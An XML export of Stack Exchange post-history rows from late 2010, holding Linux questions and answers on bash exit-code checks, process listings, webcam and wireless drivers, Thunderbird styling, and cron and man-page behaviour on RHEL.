  <row Id="10536" PostHistoryTypeId="5" PostId="4788" RevisionGUID="ab3d51fa-94dd-4153-a5a8-7d613a1011c9" CreationDate="2010-12-13T15:36:38.650" UserId="3069" Comment="added save in a file" Text="wget also accepts stdin with the `-` switch.&#xD;&#xA;&#xD;&#xA;If you want to save the output in a file, use the `-O` switch.&#xD;&#xA;&#xD;&#xA;    echo http://maps.google.be/maps?saddr\=$1\&amp;daddr\=$2 | sed 's/ /%/g' | wget -i- -O temp.html" />
  <row Id="10537" PostHistoryTypeId="2" PostId="4800" RevisionGUID="6fdf90c2-fb63-4e61-93f9-0f96de6b2243" CreationDate="2010-12-13T15:38:24.607" UserId="3032" Text="Well, the humane way is to use `top`. Here is some output:&#xD;&#xA;&#xD;&#xA;    Processes: 62 total, 3 running, 1 stuck, 58 sleeping, 309 threads      10:33:37&#xD;&#xA;    Load Avg: 0.47, 0.57, 0.41  CPU usage: 41.78% user, 7.4% sys, 51.17% idle&#xD;&#xA;    SharedLibs: 68K resident, 0B data, 0B linkedit.&#xD;&#xA;    MemRegions: 20459 total, 751M resident, 0B private, 390M shared.&#xD;&#xA;    PhysMem: 535M wired, 1179M active, 1074M inactive, 2787M used, 1310M free.&#xD;&#xA;    VM: 133G vsize, 1024M framework vsize, 374887(174) pageins, 0(0) pageouts.&#xD;&#xA;    Networks: packets: 208538/119M in, 37975/3259K out.&#xD;&#xA;    Disks: 445803/4601M read, 70299/3187M written.&#xD;&#xA;    &#xD;&#xA;    PID   COMMAND      %CPU TIME     #TH  #WQ  #POR #MREG RPRVT  RSHRD  RSIZE&#xD;&#xA;    1046  DataDetector 0.0  00:00.13 5/1  3/1  71+  351+  7548K+ 55M+   17M+&#xD;&#xA;    1045  top          5.8  00:00.38 1/1  0    25+  72    1468K  7480K  3312K &#xD;&#xA;    1042  less         0.0  00:00.00 1    0    14   34    360K   2312K  1080K &#xD;&#xA;    1040- cvmsComp_i38 0.0  00:00.03 1    0    18   51    912K   2656K  3384K &#xD;&#xA;    1035  csh          0.0  00:00.02 1    0    17   39    732K   2936K  1816K &#xD;&#xA;    1034  login        0.0  00:00.04 1    0    22   239   3028K  29M    6392K &#xD;&#xA;    1032  Terminal     4.0  00:01.13 7    2    114+ 567+  13M+   97M+   33M+&#xD;&#xA;    1025  mdworker     0.0  00:00.11 3    1    48   260   5036K  54M    10M &#xD;&#xA;    1021  Safari       0.0  00:09.56 9    2    132  943   34M    122M   103M &#xD;&#xA;    999   mdworker     0.0  00:05.55 3    1    50   476   12M    77M    99M &#xD;&#xA;    997-  thunderbird- 0.3  00:43.25 12   1    155  1546  73M    110M   147M &#xD;&#xA;    981   Preview      0.0  00:01.84 2    1    103  686   21M    111M   45M &#xD;&#xA;    935-  firefox-bin  4.0  01:43.97 25   1    238  1637  81M    138M   205M &#xD;&#xA;    905-  kass         0.0  00:00.06 2    1    57   394   3760K  53M    9028K &#xD;&#xA;&#xD;&#xA;It's not very script friendly. Here's `ps aux`:&#xD;&#xA;&#xD;&#xA;    USER       PID  %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND&#xD;&#xA;    nope       935   5.3  5.1  1387680 212912   ??  Ss   10:14AM   1:58.11 /Applica&#xD;&#xA;    root        56   1.5  2.0   729352  85588   ??  Ss    4:29AM  14:39.52 /Library&#xD;&#xA;    nope      1032   1.2  0.8  2892072  34060   ??  R    10:32AM   0:01.80 /Applica&#xD;&#xA;    root        59   0.1  0.5   668812  19976   ??  Ss    4:29AM   2:19.72 /Library&#xD;&#xA;    _spotlight  1025 0.0  0.3  2533548  10708   ??  SNs  10:29AM   0:00.12 /System/&#xD;&#xA;    nope      1021   0.0  2.5  5133320 105128   ??  S    10:26AM   0:09.57 /Applica&#xD;&#xA;    nope       999   0.0  2.4  2666868 101324   ??  SNs  10:24AM   0:05.57 /System/&#xD;&#xA;    nope       997   0.0  3.6  1211652 150380   ??  Ss   10:24AM   0:43.56 /Users/n&#xD;&#xA;    nope       981   0.0  1.1  2919128  46448   ??  S    10:23AM   0:01.86 /Applica&#xD;&#xA;    root       905   0.0  0.2   954736   9028   ??  S    10:12AM   0:00.07 /Library&#xD;&#xA;    nope       901   0.0  0.5  1027840  19980   ??  S    10:12AM   0:00.26 /Library&#xD;&#xA;    nope       900   0.0  0.3  2814856  13464   ??  S    10:12AM   0:00.06 /System/&#xD;&#xA;    nope       879   0.0  0.2   957704  10384   ??  S    10:12AM   0:00.39 /Library&#xD;&#xA;&#xD;&#xA;Try playing with those. I'm not sure what blocked processes are, but these commands *should* help.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="10538" PostHistoryTypeId="2" PostId="4801" RevisionGUID="03ab32b4-c33b-4b64-992c-59d8cd770066" CreationDate="2010-12-13T16:09:17.657" UserId="1207" Text="Building on Blender's answer, to get the number of running processes the following can be used:&#xD;&#xA;&#xD;&#xA;    $ ps axo state | grep &quot;R&quot; | wc -l&#xD;&#xA;&#xD;&#xA;To get the number of processes in Uninterruptible Sleep you can use:&#xD;&#xA;&#xD;&#xA;    $ ps axo state | grep &quot;D&quot; | wc -l" />
  <row Id="10540" PostHistoryTypeId="2" PostId="4803" RevisionGUID="7cc7a3bc-d39e-40ca-9ff0-a7c2ae542b6f" CreationDate="2010-12-13T16:16:12.360" UserId="3088" Text="I don't know about details for Suse, but we've been doing this on gentoo and ubuntu with a combination of kerberos, ldap, and nss.  I'll have to look for a reference.  I don't think we have any external documentation." />
  <row Id="10542" PostHistoryTypeId="2" PostId="4804" RevisionGUID="87c78f99-c64f-4b3b-925d-f04c11ee2a37" CreationDate="2010-12-13T16:28:47.803" UserId="3088" Text="Windows has these tools for remote management built-in to the shell.  For remote management of a *nix host, you need to get a shell on the remote host.  As suggested above, you need an ssh client of some sort.  You can use a windowed application like putty (linked above), or there is a native port of openssh for win32 that doesn't require cygwin.  You can find it here: http://www.nomachine.com/contributions." />
  <row Id="10543" PostHistoryTypeId="2" PostId="4805" RevisionGUID="5a879e53-0bc3-4ee4-822e-90bd2f7ebf37" CreationDate="2010-12-13T16:55:39.973" UserId="146" Text="Wayland is an experimental new display server.   It is not an X server, and to run X applications you will need to run an X server with it (see the bottom diagram on [Wayland Architecture][1]).   Since there are very few Wayland applications so far, this means you really can't use it to replace X yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wayland.freedesktop.org/architecture.html" />
  <row Id="10544" PostHistoryTypeId="2" PostId="4806" RevisionGUID="4814585e-0177-4be7-baa2-b4addc5cbd7b" CreationDate="2010-12-13T17:21:05.337" UserId="279" Text="I am working on a bash script that I would like to work for several types of VCS.&#xD;&#xA;I am thinking of testing if a directory is a repo for a system by running a typical info command and checking the return code, success or error.&#xD;&#xA;In pseudo code:&#xD;&#xA;&#xD;&#xA;    if a svn command succeded;&#xD;&#xA;        Then run svn commands&#xD;&#xA;    elif a darcs command succeded;&#xD;&#xA;        Then run darcs commands&#xD;&#xA;    elif a mercurial command succeded;&#xD;&#xA;        then run hg commands&#xD;&#xA;    else &#xD;&#xA;        something else&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can run a command, e.g. &#xD;&#xA;`darcs show repo` and use `$?` to get its return code. &#xD;&#xA;&#xD;&#xA;My question is: is there a neat way to run and return the return code number in one line? for example&#xD;&#xA;    &#xD;&#xA;    if [ 0 -eq `darcs show repo`$? ]; &#xD;&#xA;&#xD;&#xA;Or do I have to define a function?&#xD;&#xA;" />
  <row Id="10545" PostHistoryTypeId="1" PostId="4806" RevisionGUID="4814585e-0177-4be7-baa2-b4addc5cbd7b" CreationDate="2010-12-13T17:21:05.337" UserId="279" Text="Bash script testing if a command has run correctly" />
  <row Id="10546" PostHistoryTypeId="3" PostId="4806" RevisionGUID="4814585e-0177-4be7-baa2-b4addc5cbd7b" CreationDate="2010-12-13T17:21:05.337" UserId="279" Text="ébashàéshellöscriptà" />
  <row Id="10547" PostHistoryTypeId="2" PostId="4807" RevisionGUID="9affd29f-0c67-40dd-b30a-178056bcfbb3" CreationDate="2010-12-13T17:40:05.517" UserId="3088" Text="Well, it's not very pretty, but it's one way to do it inline:&#xD;&#xA;&#xD;&#xA;    if darcs show repo &gt; /dev/null 2&gt;&amp;1; then &lt;do something&gt;; fi&#xD;&#xA;&#xD;&#xA;By definition, if tests the exit code of a command, so you don't need to do an explicit comparison, unless you want more than success or failure.  There's probably a more elegant way to do this.&#xD;&#xA;" />
  <row Id="10548" PostHistoryTypeId="2" PostId="4808" RevisionGUID="0ff83504-d86b-4eff-b885-da7b28aef009" CreationDate="2010-12-13T17:46:02.760" UserId="3069" Text="If automatically checks the return code:&#xD;&#xA;&#xD;&#xA;    if (darcs show repo); then&#xD;&#xA;      echo &quot;repo exists&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;repo does not exist&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You could also run the command and use &amp;&amp; (logical AND) or || (logical OR) afterwards to check if it succeeded or not:&#xD;&#xA;&#xD;&#xA;    darcs show repo &amp;&amp; echo &quot;repo exists&quot;&#xD;&#xA;    darcs show repo || echo &quot;repo does not exist&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10549" PostHistoryTypeId="2" PostId="4809" RevisionGUID="fb30d99a-20cb-4bb8-8f2b-d9fef1b34015" CreationDate="2010-12-13T18:11:08.833" UserId="1264" Text="You can also use `&lt;Alt Gr&gt; + &lt;Shift&gt; + 0`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10550" PostHistoryTypeId="2" PostId="4810" RevisionGUID="ead9bad8-254c-482a-9f2b-f75e37e1fdf9" CreationDate="2010-12-13T18:52:05.523" UserId="1974" Text="I am trying to set up a virtual machine which will act as a home security system. (If you've chatted with me in The Tavern, you may know why...) I purchased two USB webcams (Microsoft LifeCam HD-5000) and am trying to get them to work with [Motion](http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome). However when I connected them to my Ubuntu 10.10 VM, no `/dev/video` devices were created. `dmesg` said:&#xD;&#xA;&#xD;&#xA;    jnet@sharon:~$ dmesg|tail&#xD;&#xA;    [  558.421978] uvcvideo: Failed to initialize the device (-5).&#xD;&#xA;    [  558.423487] usbcore: registered new interface driver uvcvideo&#xD;&#xA;    [  558.423492] USB Video Class driver (v0.1.0)&#xD;&#xA;    [  569.042808] usbcore: deregistering interface driver uvcvideo&#xD;&#xA;    [  570.840343] uvcvideo: Found UVC 1.00 device Microsoft® LifeCam HD-5000 (045e:076d)&#xD;&#xA;    [  585.801811] uvcvideo: UVC non compliance - GET_DEF(PROBE) not supported. Enabling workaround.&#xD;&#xA;    [  595.775370] uvcvideo: Failed to query (129) UVC probe control : -110 (exp. 26).&#xD;&#xA;    [  595.775592] uvcvideo: Failed to initialize the device (-5).&#xD;&#xA;    [  595.777012] usbcore: registered new interface driver uvcvideo&#xD;&#xA;    [  595.777018] USB Video Class driver (v0.1.0)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There's **a lot** of results on Google for &quot;uvcvideo: Failed to query (129) UVC probe control : -110 (exp. 26).&quot;. many people were saying to unload the `uvcvideo` module and reload it, because it loads before the `usbaudio` module. But no amount of unloading and reloading worked. A custom compile of the `uvcvideo.ko` module was suggested but the link to the source was dead.&#xD;&#xA;&#xD;&#xA;Is there any way to make these webcams work under a *nix-like system? **Please note it does not have to be Ubuntu**, I was setting up a brand new VM for this purpose so I am open to any unix-like OS, be it Fedora, CentOS, a BSD flavor or even Open Solaris or similar." />
  <row Id="10551" PostHistoryTypeId="1" PostId="4810" RevisionGUID="ead9bad8-254c-482a-9f2b-f75e37e1fdf9" CreationDate="2010-12-13T18:52:05.523" UserId="1974" Text="Is it possible to make a Microsoft LifeCam HD-5000 work under linux?" />
  <row Id="10552" PostHistoryTypeId="3" PostId="4810" RevisionGUID="ead9bad8-254c-482a-9f2b-f75e37e1fdf9" CreationDate="2010-12-13T18:52:05.523" UserId="1974" Text="éusbàévideoàéwebcamà" />
  <row Id="10553" PostHistoryTypeId="5" PostId="4806" RevisionGUID="6543c697-0a8f-4aa8-81c7-59c77457ac0f" CreationDate="2010-12-13T18:53:35.097" UserId="279" Comment="added a requirement" Text="I am working on a bash script that I would like to work for several types of VCS.&#xD;&#xA;I am thinking of testing if a directory is a repo for a system by running a typical info command and checking the return code, success or error.&#xD;&#xA;In pseudo code:&#xD;&#xA;&#xD;&#xA;    if a svn command succeded;&#xD;&#xA;        Then run svn commands&#xD;&#xA;    elif a darcs command succeded;&#xD;&#xA;        Then run darcs commands&#xD;&#xA;    elif a mercurial command succeded;&#xD;&#xA;        then run hg commands&#xD;&#xA;    else &#xD;&#xA;        something else&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I can run a command, e.g. &#xD;&#xA;`darcs show repo` and use `$?` to get its return code. &#xD;&#xA;&#xD;&#xA;My question is: is there a neat way to run and return the return code number in one line? for example&#xD;&#xA;    &#xD;&#xA;    if [ 0 -eq `darcs show repo`$? ]; &#xD;&#xA;&#xD;&#xA;Or do I have to define a function?&#xD;&#xA;&#xD;&#xA;An added requirement is that both stderr and stdout should be printed. &#xD;&#xA;" />
  <row Id="10554" PostHistoryTypeId="2" PostId="4811" RevisionGUID="42902793-bf98-4219-b4dc-2581639a88bc" CreationDate="2010-12-13T18:55:18.560" UserId="885" Text="As others have already mentioned, `if command` tests whether `command` succeeds. In fact `[ … ]` is an ordinary command, which can be used outside of an `if` or `while` conditional although it's uncommon.&#xD;&#xA;&#xD;&#xA;However, for this application, I would test the existence of the characteristic directories. This will be correct in more edge cases. Bash/ksh/zsh/dash version (untested):&#xD;&#xA;&#xD;&#xA;    vc=&#xD;&#xA;    if [ -d .svn ]; then&#xD;&#xA;      vc=svn&#xD;&#xA;    elif [ -d CVS ]; then&#xD;&#xA;      vc=cvs&#xD;&#xA;    else&#xD;&#xA;      d=..&#xD;&#xA;      while ! [ &quot;$d&quot; -ef / ]; do&#xD;&#xA;        if [ -d &quot;$d/.bzr&quot; ]; then&#xD;&#xA;          vc=bzr&#xD;&#xA;        elif [ -d &quot;$d/_darcs&quot; ]; then&#xD;&#xA;          vc=darcs&#xD;&#xA;        elif [ -d &quot;$d/.git&quot; ]; then&#xD;&#xA;          vc=git&#xD;&#xA;        elif [ -d &quot;$d/.hg&quot; ]; then&#xD;&#xA;          vc=hg&#xD;&#xA;        fi&#xD;&#xA;        if [ -n &quot;$vc&quot; ]; then break; fi&#xD;&#xA;        d=$d/..&#xD;&#xA;      done&#xD;&#xA;    fi&#xD;&#xA;    if [ -z &quot;$vc&quot; ]; then&#xD;&#xA;      echo 1&gt;&amp;2 &quot;This directory does not seem to be under version control.&quot;&#xD;&#xA;      exit 2&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;In POSIX sh, there is no `-ef` (same file) construct, so a different test is needed to break out of the recursion when the root directory is reached. Replace `while ! [ &quot;$d&quot; -ef / ];` by `while [ &quot;$(cd -- &quot;$d&quot;; command pwd)&quot; != / ];`. (Use `command pwd` and not `pwd` because some shells track symbolic links in `pwd` and we don't want that here.)&#xD;&#xA;" />
  <row Id="10555" PostHistoryTypeId="2" PostId="4812" RevisionGUID="9c8fc73b-c7d7-4063-b3dc-733f13430952" CreationDate="2010-12-13T19:20:35.433" UserId="3092" Text="Hi,&#xD;&#xA;&#xD;&#xA;Having difficulty getting a netgear wg311 network card to work with debian. I have attached screen showing ifconfig wlan0, iwconfig, network interface cards and wpa_supplicant config. I understand that the wpa doesnt work with thid driver and ndiswrapper so was told to use wpa_supplicant. Can anyone help me or know of a fool proof way of getting my windows driver to work with the netgear wg311 wireless card.&#xD;&#xA;&#xD;&#xA;Screen. " />
  <row Id="10556" PostHistoryTypeId="1" PostId="4812" RevisionGUID="9c8fc73b-c7d7-4063-b3dc-733f13430952" CreationDate="2010-12-13T19:20:35.433" UserId="3092" Text="Trying to get wireless card to work in debian." />
  <row Id="10557" PostHistoryTypeId="3" PostId="4812" RevisionGUID="9c8fc73b-c7d7-4063-b3dc-733f13430952" CreationDate="2010-12-13T19:20:35.433" UserId="3092" Text="édebianàéwirelessà" />
  <row Id="10558" PostHistoryTypeId="2" PostId="4813" RevisionGUID="ddef4dd1-2ba2-4239-acc6-72b6e1a90b36" CreationDate="2010-12-13T19:29:37.423" UserId="885" Text="Set up a [Compose key](http://en.wikipedia.org/wiki/Compose_key). On Ubuntu, this is easily done in the keyboard preferences, “Layout” tab, “Options” subdialog. &lt;kbd&gt;Caps Lock&lt;/kbd&gt; is a good choice as it's pretty much useless (all remotely serious editors have a command to make the selection uppercase for the rare times it's needed).&#xD;&#xA;&#xD;&#xA;Press &lt;kbd&gt;Compose&lt;/kbd&gt; followed by two characters (occasionally three) to enter a character you don't have on your keyboard. Usually the resulting character combines the two characters you type, for example &lt;kbd&gt;Compose&lt;/kbd&gt; &lt;kbd&gt;'&lt;/kbd&gt; &lt;kbd&gt;a&lt;/kbd&gt; enters `á` and &lt;kbd&gt;Compose&lt;/kbd&gt; &lt;kbd&gt;s&lt;/kbd&gt; &lt;kbd&gt;s&lt;/kbd&gt; enters `ß`. The degree symbol `°` is one of the less memorable combinations, it's on &lt;kbd&gt;Compose&lt;/kbd&gt; &lt;kbd&gt;o&lt;/kbd&gt; &lt;kbd&gt;o&lt;/kbd&gt;.&#xD;&#xA;" />
  <row Id="10559" PostHistoryTypeId="5" PostId="4812" RevisionGUID="beae0ad5-9642-45de-9e35-c25be770d9d2" CreationDate="2010-12-13T19:41:03.620" UserId="73" Comment="added 62 characters in body; edited tags; edited title" Text="I'm having difficulty getting a Netgear WG311 network card to work with Debian. Here is a screenshot showing `ifconfig wlan0`, `iwconfig`, network interface cards, and `wpa_supplicant` configs:&#xD;&#xA;&#xD;&#xA;![Screenshot](http://i169.photobucket.com/albums/u217/munchingmonster/Screenshot.png)&#xD;&#xA;&#xD;&#xA;I understand that the wpa doesn't work with third-party drivers and ndiswrapper; I've been told to use wpa_supplicant instead. How can I get my windows driver to work with the Netgear WG311 wireless card?&#xD;&#xA;" />
  <row Id="10560" PostHistoryTypeId="4" PostId="4812" RevisionGUID="beae0ad5-9642-45de-9e35-c25be770d9d2" CreationDate="2010-12-13T19:41:03.620" UserId="73" Comment="added 62 characters in body; edited tags; edited title" Text="Getting wireless card to work in Debian with wpa_supplicant" />
  <row Id="10561" PostHistoryTypeId="6" PostId="4812" RevisionGUID="beae0ad5-9642-45de-9e35-c25be770d9d2" CreationDate="2010-12-13T19:41:03.620" UserId="73" Comment="added 62 characters in body; edited tags; edited title" Text="édebianàéwirelessàéwpaösupplicantà" />
  <row Id="10562" PostHistoryTypeId="2" PostId="4814" RevisionGUID="0ded84d3-c57d-40e8-97a5-7256b4edee97" CreationDate="2010-12-13T20:23:09.460" UserId="1974" Text="Turns out this was an issue with `mt-daapd` instead of with Rythmbox. I deleted the `mt-daapd` database cache and restarted the server, and after rebuilding the cache all the files now play. I'm sure installing all the software Blender mentioned helped!" />
  <row Id="10563" PostHistoryTypeId="2" PostId="4815" RevisionGUID="514af9bc-bdd8-4ccc-af22-835f0e653643" CreationDate="2010-12-13T20:30:05.900" UserId="4" Text="I'm trying to find out some details regarding [cron and /etc/cron.d/][1] on a RedHat system. Ironically, my answer is viewable within the [vixie-cron-*.src.rpm][2] for this package, but the the man pages for `cron` don't match the text which is provided by the `vixie-cron` RPM.&#xD;&#xA;&#xD;&#xA;If I search my MANPATH for the keyword `cron`, it shows me some results like `vixie-cron          (rpm)`. What does this `(rpm)` tag mean, why are these manpages not installed on the system and can I view those manpages?&#xD;&#xA;&#xD;&#xA;    $ man -k cron&#xD;&#xA;    /etc/anacrontab [anacrontab] (5)  - configuration file for anacron&#xD;&#xA;    anacron              (8)  - runs commands periodically&#xD;&#xA;    anacron             (rpm) - A cron-like program that can run jobs lost during downtime.&#xD;&#xA;    cron                 (8)  - daemon to execute scheduled commands (ISC Cron V4.1)&#xD;&#xA;    crontab              (1)  - maintain crontab files for individual users (ISC Cron V4.1)&#xD;&#xA;    crontab              (1p)  - schedule periodic background work&#xD;&#xA;    crontab              (5)  - tables for driving cron (ISC Cron V4.1)&#xD;&#xA;    crontabs            (rpm) - Root crontab files used to schedule the execution of programs.&#xD;&#xA;    vixie-cron          (rpm) - The Vixie cron daemon for executing specified programs at set times.&#xD;&#xA;&#xD;&#xA;Note that there is no page for `vixie-cron`, and the vixie-cron package doesn't actually provide any manpages named `vixie-cron`&#xD;&#xA;&#xD;&#xA;    $ man vixie-cron&#xD;&#xA;    No manual entry for vixie-cron&#xD;&#xA;    $ rpm -q --whatprovides /usr/bin/crontab&#xD;&#xA;    vixie-cron-4.1-77.el5_4.1&#xD;&#xA;    $ rpm -q --list vixie-cron&#xD;&#xA;    /etc/cron.d&#xD;&#xA;    /etc/pam.d/crond&#xD;&#xA;    /etc/rc.d/init.d/crond&#xD;&#xA;    /etc/sysconfig/crond&#xD;&#xA;    /usr/bin/crontab&#xD;&#xA;    /usr/sbin/crond&#xD;&#xA;    /usr/share/man/man1/crontab.1.gz&#xD;&#xA;    /usr/share/man/man5/crontab.5.gz&#xD;&#xA;    /usr/share/man/man8/cron.8.gz&#xD;&#xA;    /usr/share/man/man8/crond.8.gz&#xD;&#xA;    /var/spool/cron&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/4663/does-rhel-execute-all-cronjob-files-under-etc-cron-d&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/4663/does-rhel-execute-all-cronjob-files-under-etc-cron-d/4756#4756" />
  <row Id="10564" PostHistoryTypeId="1" PostId="4815" RevisionGUID="514af9bc-bdd8-4ccc-af22-835f0e653643" CreationDate="2010-12-13T20:30:05.900" UserId="4" Text="Why does `man -k cron` say `vixie-cron    (rpm)` for some results, and how do I read those pages?" />
  <row Id="10565" PostHistoryTypeId="3" PostId="4815" RevisionGUID="514af9bc-bdd8-4ccc-af22-835f0e653643" CreationDate="2010-12-13T20:30:05.900" UserId="4" Text="érhelàémanàérpmà" />
  <row Id="10566" PostHistoryTypeId="2" PostId="4816" RevisionGUID="d6d5458f-284c-439e-81c8-67fcbac33969" CreationDate="2010-12-13T20:56:24.123" UserId="1974" Text="Blender's answer pointed me in the right direction. I didn't actually modify those files, but what I did instead was created a file `~/.mozilla-thunderbird/iddbnhwr.default/chrome/userChrome.css` and I put my changes in there. I made mine look like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #threadTree {&#xD;&#xA;    	font-family: Verdana, Arial, Calibri !important;&#xD;&#xA;    	font-size: 10px !important;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #msgHeaderView {&#xD;&#xA;    	font-family: Verdana, Arial, Calibri !important;&#xD;&#xA;    	font-size: 10px !important;&#xD;&#xA;    	height: 100px !important;&#xD;&#xA;    	overflow: auto !important;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    #folderTree {&#xD;&#xA;    	font-family: Verdana, Arial, Calibri !important;&#xD;&#xA;    	font-size: 10px !important;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Analyzing the files from Blender's answer showed me that the following are the CSS selectors I wanted:&#xD;&#xA;&#xD;&#xA; * `#folderTree` - The list of folders on the left hand side&#xD;&#xA; * `#threadTree` - The list of messages on the top right.&#xD;&#xA; * `#msgHeaderView` - The header pane at the top of every message preview / viewer window&#xD;&#xA;&#xD;&#xA;There's a lot more interesting stuff in those files:&#xD;&#xA;&#xD;&#xA; * `#mailContent` - Looks like the body of mail messages?&#xD;&#xA; * `#folderUnreadCol`, `#folderTotalCol`, `#folderSizeCol`, `#folderNameCol` - Self explanatory&#xD;&#xA; * `treecol.flagColumnHeader` - Looks like you could change the flag icon to something else... Maybe an upvote icon? ;-)&#xD;&#xA; * `treecol.junkStatusHeader` - Same for junk icon. Just change the `list-style-image: url(...)` rule.&#xD;&#xA;" />
  <row Id="10567" PostHistoryTypeId="5" PostId="2788" RevisionGUID="c0ff2b32-8084-4cba-a7c2-02ffcabd9497" CreationDate="2010-12-13T21:18:53.363" UserId="885" Comment="added yum search" Text="The first place to look is your distribution's package list. That's where you'll find the easiest-to-install programs. Some package management tools provide advanced ways of searching it.&#xD;&#xA;&#xD;&#xA;* On Debian and Debian-based distributions (e.g. Ubuntu), you can search package descriptions with `apt-cache search` or `aptitude search` (on the command line), or through the search facility in interactive package managers such as Aptitude and Synaptic. There's also more structured information in the form of tags: install the `debtags` package, and make basic queries with the `debtags` command or browse the tag database in Aptitude. Tags are a good way to find packages to work with a particular file format, for example.&#xD;&#xA;&#xD;&#xA;* On Red Hat and other distributions using yum (e.g. CentOS, Fedora), you can search package descriptions with `yum search` (on the command line).&#xD;&#xA;&#xD;&#xA;If your distribution doesn't have anything, you can also look in the package database of another distribution. Example distributions with a large package database  are [Debian](http://www.debian.org/distrib/packages#search_packages), [Fedora](https://admin.fedoraproject.org/pkgdb/), [FreeBSD](http://www.freebsd.org/ports/), [Ubuntu](http://packages.ubuntu.com/).&#xD;&#xA;" />
  <row Id="10568" PostHistoryTypeId="2" PostId="4817" RevisionGUID="6a5c33c1-5ee0-44aa-98ff-2c068a0f8c85" CreationDate="2010-12-13T21:25:16.950" UserId="305" Text="wpa_supplicant does have support for ndiswrapper and should be run like this:&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -i wlan0 -D wext &#xD;&#xA;&#xD;&#xA;[Instructions how to install ndiswrapper drivers][1] - however I never use ndiswrapper.&#xD;&#xA;&#xD;&#xA;If it does not help you have to say what is the output of:&#xD;&#xA;&#xD;&#xA;    wpa_supplicant -i wlan0 -D wext &#xD;&#xA;&#xD;&#xA;---------------------------&#xD;&#xA;&#xD;&#xA;As a side note - to use WPA you need user program called wpa supplicant. The most popular one is wpa_supplicant. Therefore the WPA stack on Linux contains of 2 elements:&#xD;&#xA;&#xD;&#xA;- Driver. The best are mac8011 drivers (new stack on kernel). ndiswrapper is a workaround of using Windows drivers as the drivers which should work but it may happen that it does not.&#xD;&#xA;- WPA Supplicant. In most cases [wpa_supplicant][2]&#xD;&#xA;&#xD;&#xA;Usually on top of that you want [NetworkManager][3], [connman][4] or something like that.&#xD;&#xA;&#xD;&#xA;---------------------------&#xD;&#xA;&#xD;&#xA;PS. Preferably add text instead of screenshots as:&#xD;&#xA;&#xD;&#xA; - They are searchable by google/bing/$SEARCH_ENGINE&#xD;&#xA; - They are easier to read&#xD;&#xA; - They will not disapper for whatever reason (say - maintenance break of 3rd party server)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/linux-ndiswrapper-wpa_supplicant-howto/&#xD;&#xA;  [2]: http://hostap.epitest.fi/wpa_supplicant/&#xD;&#xA;  [3]: http://projects.gnome.org/NetworkManager&#xD;&#xA;  [4]: http://connman.net/" />
  <row Id="10569" PostHistoryTypeId="5" PostId="4808" RevisionGUID="0acf7a9e-4ecd-4644-94b2-8c63f3dbd120" CreationDate="2010-12-13T22:08:44.667" UserId="3069" Comment="added exec redirect part" Text="If automatically checks the return code:&#xD;&#xA;&#xD;&#xA;    if (darcs show repo); then&#xD;&#xA;      echo &quot;repo exists&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;repo does not exist&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You could also run the command and use &amp;&amp; (logical AND) or || (logical OR) afterwards to check if it succeeded or not:&#xD;&#xA;&#xD;&#xA;    darcs show repo &amp;&amp; echo &quot;repo exists&quot;&#xD;&#xA;    darcs show repo || echo &quot;repo does not exist&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Redirecting `stdout` and `stderr` can be done once with `exec`&#xD;&#xA;&#xD;&#xA;    exec 6&gt;&amp;1&#xD;&#xA;    exec 7&gt;&amp;2&#xD;&#xA;    exec &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;    if (darcs show repo); then&#xD;&#xA;      repo=&quot;darcs&quot;&#xD;&#xA;    elif (test -d .git); then&#xD;&#xA;      repo=&quot;git&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    # The user won't see this&#xD;&#xA;    echo &quot;You can't see my $repo&quot;&#xD;&#xA;&#xD;&#xA;    exec 1&gt;&amp;6 6&gt;&amp;-&#xD;&#xA;    exec 2&gt;&amp;7 7&gt;&amp;-&#xD;&#xA;&#xD;&#xA;    # The user will see this&#xD;&#xA;    echo &quot;You have $repo installed&quot;&#xD;&#xA;&#xD;&#xA;The first two `exec` are saving the `stdin` and `stderr` file descriptors, the third redirects both to `/dev/null` (or somewhere other if wished).&#xD;&#xA;The last two `exec` restore the file descriptors again.&#xD;&#xA;Everything in between gets redirected to nowhere.&#xD;&#xA;&#xD;&#xA;Append other repo checks like Gilles suggested." />
  <row Id="10570" PostHistoryTypeId="5" PostId="4663" RevisionGUID="8432bf92-e1ba-42e4-acff-cac2d2b77024" CreationDate="2010-12-13T22:13:55.130" UserId="4" Comment="added 113 characters in body" Text="This is a RedHat Enterprise Linux 5 system (RHEL). We manage this system using Cfengine.&#xD;&#xA;&#xD;&#xA;We have several cronjobs which are running twice as often as usual. I checked the cronjobs under `/etc/cron.d/` and this directory contains the actual script called `host-backup`, and also contains a cfengine backup file called `host-backup.cfsaved`, as so:&#xD;&#xA;&#xD;&#xA;	/etc/cron.d/host-backup&#xD;&#xA;	/etc/cron.d/host-backup.cfsaved&#xD;&#xA;&#xD;&#xA;Does this operating system execute all files at `/etc/cron.d/*`, or does it only execute files which match a certain pattern. Can I configure this, and where is this defined?&#xD;&#xA;&#xD;&#xA;I cannot find this answer in the RHEL documentation. " />
